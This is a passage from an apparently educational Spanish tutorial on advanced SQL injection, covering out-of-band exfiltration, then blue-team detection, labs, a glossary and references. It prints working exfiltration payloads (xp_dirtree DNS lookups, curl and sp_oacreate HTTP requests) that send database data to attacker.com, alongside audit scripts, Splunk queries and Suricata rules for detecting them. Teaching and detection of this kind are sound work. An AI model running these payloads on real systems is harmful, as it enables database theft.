EXEC master..xp_dirtree '\\'+ SUBSTRING(HEX_DATA, 51, 50) +'.f2.attacker.com\a'--
-- f1, f2 indican el fragmento → reconstruir en orden

Limitación 2: Caracteres no válidos en DNS

Solución: Convertir a HEX o Base32 antes de exfiltrar.

-- HEX es el más común (solo a-f, 0-9)
SET @hex = CONVERT(VARCHAR(2000), CONVERT(VARBINARY(1000), @datos), 2)

-- Base32 elimina ambigüedad (a-z, 2-7 — sin 0/O y 1/I que se confunden)
-- Requiere función personalizada o usar MSSQL con CLR habilitado

Limitación 3: Caching DNS

Los resolvers DNS cachean respuestas. Si el mismo hostname se consulta dos veces, el segundo lookup puede no llegar al servidor del atacante.

Solución: Usar un prefijo único por consulta.

-- Agregar timestamp o número random como prefijo para evitar cache
EXEC xp_dirtree '\\' + CAST(NEWID() AS VARCHAR(36)) + '-datos.attacker.com\a'--
-- NEWID() genera un UUID único → cada consulta tiene un hostname diferente → no hay cache

Limitación 4: Firewalls que bloquean DNS saliente

Bloquear DNS saliente innecesario puede romper completamente el Out-of-Band SQL Injection.

Si el DNS saliente está bloqueado: Verificar si HTTP saliente está disponible:

-- MySQL con curl via UDF (si está disponible)
SELECT sys_exec('curl -d "data=$(SELECT version() | base64)" https://attacker.com/collect');

-- MSSQL con sp_oacreate (si OLE Automation está habilitado)
DECLARE @obj INT;
EXEC sp_oacreate 'MSXML2.ServerXMLHTTP', @obj OUT;
EXEC sp_oamethod @obj, 'open', NULL, 'GET', 'https://attacker.com/?d='+@@version, false;
EXEC sp_oamethod @obj, 'send';

19. Detección Defensiva: Los Tres Vectores Desde el Lado del Blue Team

Detectar Second-Order SQLi

-- Query de auditoría en MySQL: buscar datos en campos de texto que contengan SQL keywords
SELECT 
    table_name,
    column_name,
    CONCAT('SELECT ', column_name, ' FROM ', table_name, 
           " WHERE ", column_name, " REGEXP '(UNION|SELECT|DROP|INSERT|UPDATE|SLEEP|BENCHMARK)'") 
    AS audit_query
FROM information_schema.columns 
WHERE table_schema = DATABASE()
  AND data_type IN ('varchar', 'text', 'mediumtext', 'longtext');

-- Ejecutar las queries de auditoría resultantes para encontrar datos maliciosos almacenados
-- Si algún campo contiene "UNION SELECT", "' OR", "SLEEP(", etc. → posible Second-Order SQLi
# Script de auditoría de BD para Second-Order SQLi
import pymysql

SQL_PATTERNS = [
    "' OR ", "UNION SELECT", "SLEEP(", "BENCHMARK(",
    "xp_cmdshell", "INTO OUTFILE", "LOAD_FILE", "1=1--"
]

def audit_database_for_sqli_payloads(conn):
    cursor = conn.cursor()
    
    # Obtener todas las tablas y columnas de texto
    cursor.execute("""
        SELECT table_name, column_name 
        FROM information_schema.columns
        WHERE table_schema = DATABASE()
        AND data_type IN ('varchar', 'text', 'mediumtext', 'longtext')
    """)
    
    columns = cursor.fetchall()
    
    for table, column in columns:
        for pattern in SQL_PATTERNS:
            cursor.execute(
                f"SELECT COUNT(*) FROM `{table}` WHERE `{column}` LIKE %s",
                (f'%{pattern}%',)
            )
            count = cursor.fetchone()[0]
            if count > 0:
                print(f"[!] ALERTA: '{pattern}' encontrado en {table}.{column} ({count} registros)")

Detectar WAF Bypass en Logs

-- Splunk: detectar técnicas de bypass en requests HTTP
index=web_logs
| eval payload=lower(uri_query + " " + post_body)
| eval has_encoding=if(match(payload, "%2[5-7][0-9a-f]|%[0-9a-f]{4}"), 1, 0)
| eval has_comments=if(match(payload, "/\*|\*/|--"), 1, 0)
| eval has_case_variation=if(match(payload, "uNiOn|UnIoN|sElEcT|SeLeCt"), 1, 0)
| eval has_json_sqli=if(match(payload, "union.*select|sleep.*\(|benchmark.*\(") AND 
                        match(uri, "api/|json"), 1, 0)
| eval bypass_score=has_encoding + has_comments + has_case_variation + has_json_sqli
| where bypass_score >= 2
| stats count, values(payload) by src_ip, bypass_score
| sort -bypass_score

Detectar Out-of-Band via DNS en logs de red

# En el servidor DNS interno, buscar consultas externas inusuales
# Señal: consultas DNS con subdominios que parecen datos hex o base64
# Patrón: [32-64 caracteres hexadecimales].[dominio externo]

# En pfSense/Suricata — regla para detectar DNS exfiltration via SQL
alert dns any any -> any 53 (
    msg:"Possible SQL OOB DNS Exfiltration";
    dns.query; content:".oast.pro"; nocase;
    sid:9999001; rev:1;
)

alert dns any any -> any 53 (
    msg:"Possible SQL OOB DNS Exfiltration via Interactsh";
    dns.query; content:".burpcollaborator.net"; nocase;
    sid:9999002; rev:1;
)

20. Laboratorio en el Cyber Range

Los labs del Tomo 3 son los más complejos de la primera trilogía:

Lab SQLi-A01: Second-Order SQLi via campo de nombre de usuario — el escenario clásico con panel de admin como contexto de activación

Lab SQLi-A02: Second-Order SQLi via import de CSV — payload en columna de datos importados, activado en reporte de administración

Lab SQLi-A03: WAF Bypass básico — Cloudflare simulation con reglas reales, bypass via fragmentación y comentarios

Lab SQLi-A04: WAF Bypass avanzado — JSON payload bypass contra cinco reglas WAF simultáneas (replica el patrón de CVE-2026-34612)

Lab SQLi-A05: Out-of-Band SQLi en MSSQL — exfiltración via xp_dirtree con Interactsh como servidor de captura (incluido en el lab)

Lab SQLi-A06: Out-of-Band con limitaciones DNS — datos con caracteres especiales, implementar la solución de fragmentación HEX

Lab SQLi-A07: Cadena completa — Second-Order + WAF Bypass + OOB: el payload entra por un vector sanitizado, bypasea el WAF en el segundo contexto, y exfiltra datos via DNS

El Lab SQLi-A07 es el más difícil de la primera trilogía. Requiere aplicar técnicas de los tres tomos en secuencia y no tiene hints disponibles por defecto.

→ Acceder al Cyber Range


21. Lo que Viene en el Tomo 4

El Tomo 4 abre la segunda trilogía con el vector que más ha crecido en superficie en 2025-2026: SQL Injection en APIs y ORMs modernos.

SQLi en GraphQL:

  • Variables de GraphQL como vectores de inyección
  • Introspection para mapear el schema antes de atacar
  • Batching attacks — explotar múltiples queries en un solo request
  • Casos reales de SQLi en APIs GraphQL de producción

SQLi en ORMs modernos — los escape hatches que nadie cierra:

  • Django CVE-2024-42005 — .values() con claves JSON maliciosas
  • SQLAlchemy text() — el raw query que los developers "usan excepcionalmente"
  • Hibernate HQL Injection — cuando el ORM tiene su propio lenguaje de query vulnerable
  • Prisma queryRaw y executeRaw — los puntos ciegos del ORM más popular en Node.js 2026

SQLi en WebSockets:

  • Messages que llegan a queries de BD sin el mismo nivel de validación que HTTP
  • Stateful exploitation — cómo el estado de la conexión WS afecta la explotación

Glosario Técnico — Tomo 3

TérminoDefinición
Second-Order SQLiInyección donde el payload se almacena en Fase 1 y se ejecuta en Fase 2 en otro contexto
First-Order SQLiSQLi convencional donde inyección y ejecución ocurren en el mismo request
WAF BypassTécnica para hacer llegar un payload SQLi a través de un Web Application Firewall
Out-of-Band (OOB)Canal de exfiltración alternativo al HTTP normal — DNS, SMB, HTTP saliente
DNS ExfiltrationTécnica de OOB donde los datos viajan como subdominio de una consulta DNS
UNC PathRuta de red Windows (\\servidor\share) — usado en SQLi MSSQL para conexiones SMB
xp_dirtreeStored procedure de MSSQL que lista directorios — usado para OOB via UNC
InteractshHerramienta open source para capturar interacciones OOB (DNS, HTTP, SMTP)
Burp CollaboratorServicio de Burp Pro equivalente a Interactsh
RFC 1035Estándar que define los límites técnicos de los hostnames DNS
JSON Operator BypassTécnica de bypass usando operadores JSON nativos de MySQL 8+
HPPHTTP Parameter Pollution — duplicar parámetros para confundir WAF y backend
xp_cmdshellStored procedure de MSSQL para ejecutar comandos del OS
FROM_BASE64()Función MySQL que decodifica Base64 — usada para ofuscar payloads

Referencias Técnicas

  • HackerXone — "Advanced SQL Injection: WAF Bypass Techniques That Still Work" (2026)
  • Gecko Security — "SQLi CVE Database: CVE-2026-34612, CVE-2026-34717, CVE-2026-34934" (Abr 2026)
  • NetSpi — "Second-Order SQL Injection with Stored Procedures & DNS-Based Egress" (Dic 2024)
  • Precursor Security — "SQL Injection Explained" (Abr 2026)
  • Hive Security — "SQL Injection 2026: Blind, Time-Based, ORM Bypass, and WAF Evasion" (May 2026)
  • Medium/RedVoid — "SQL Injection Demystified: From Magic Passwords to Out-of-Band Exfiltration" (May 2026)
  • PenLigent — "How to Test for SQL Injection in 2026" (2026)
  • RFC 1035 — Domain Names: Implementation and Specification
  • ProjectDiscovery — Interactsh Documentation
  • OWASP Testing Guide v4.2 — OTG-INPVAL-005, OTG-INPVAL-014

¿Encontraste un Second-Order SQLi en producción y necesitas ayuda para construir el PoC antes de reportar? Abre un thread privado en el Discord de TribuCibernética — la comunidad te ayuda a documentar el impacto máximo sin comprometer datos reales.

→ Leer Tomo 2: Blind SQLi — Boolean-Based y Time-Based
→ Leer Tomo 4: SQLi en GraphQL, ORMs Modernos y WebSockets
→ Practicar Labs SQLi-A01 al A07 en el Cyber Range
→ Unirse al Discord de TribuCibernética


© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad autorizada. El uso de estas técnicas contra sistemas sin autorización explícita constituye un delito penal en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones internacionales. TribuCibernética no se hace responsable del uso indebido de la información aquí presentada. Practica exclusivamente en entornos autorizados como el Cyber Range de TribuCibernetica.


[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.